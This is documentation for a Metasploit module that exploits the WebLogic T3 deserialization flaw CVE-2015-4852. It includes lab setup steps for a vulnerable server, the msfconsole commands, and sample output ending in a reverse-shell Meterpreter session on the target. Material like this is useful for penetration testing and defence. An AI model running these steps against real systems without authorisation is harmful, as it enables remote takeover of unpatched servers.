documentation/modules/exploit/multi/misc/weblogic_deserialize_rawobject.md
Oracle WebLogic Server v10.3.6.0, v12.1.2.0, v12.1.3.0, and v12.2.1.0 are vulnerable to a deserialization vulnerability (CVE 2015-4852), which can be used to execute code on vulnerable systems. An unauthenticated user with network access via T3 could exploit the vulnerability. This module has been tested against Oracle WebLogic Server v10.3.6.0 and v12.1.3.0 running on Windows 7 x64 using JDK v7u80.
Note that successful exploitation will output the following warning to the admin server console:
<Mar 26, 2019 4:13:24 PM CDT> <Error> <RJVM> <BEA-000503> <Incoming message header or abbreviation processing failed
java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
at $Proxy57.entrySet(Unknown Source)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:327)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
Truncated. see log file for complete stacktrace
Use the following steps to install a vulnerable instance of WebLogic v10.3.6.0 on a Windows 7 SP1 x64 system.
jdk-7u80-windows-x64.exe
installer). Leave all options at their default values.wls1036_generic.jar. You may need to
register an account."C:\Program Files\Java\jdk1.7.0_80\bin\java.exe" -jar wls1036_generic.jarAll Programs > Oracle WebLogic > User Projects > base_domain > Start Admin Server for WebLogic.Use the following steps to install a vulnerable instance of WebLogic v10.3.6.0 in a Docker container. The same image used to demonstrate [CVE-2017-10271][3] can be used.
git clone https://github.com/vulhub/vulhubweblogic/CVE-2017-10271 subdirectory, use Docker to run the image.
docker-compose up -dOracle WebLogic Server v10.3.6.0, v12.1.2.0, v12.1.3.0, and v12.2.1.0.
./msfconsole -quse exploit/multi/misc/weblogic_deserialize_rawobjectset rhosts <rhost>set rport <srvport>exploitmsf exploit(multi/misc/weblogic_deserialize_rawobject) > set rhost 192.168.192.6
rhost => 192.168.192.6
msf exploit(multi/misc/weblogic_deserialize_rawobject) > set rport 7001
rport => 7001
msf exploit(multi/misc/weblogic_deserialize_rawobject) > exploit
[*] Started reverse TCP handler on 192.168.192.136:4444
[*] 192.168.192.6:7001 - Sending handshake...
[*] 192.168.192.6:7001 - Sending T3 request object...
[*] 192.168.192.6:7001 - Sending client object payload...
[*] Sending stage (179779 bytes) to 192.168.192.6
[*] Meterpreter session 7 opened (192.168.192.136:4444 -> 192.168.192.6:49266) at 2018-12-14 11:40:29 -0800
meterpreter > sysinfo
Computer : GIOTTO-HS-W7
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows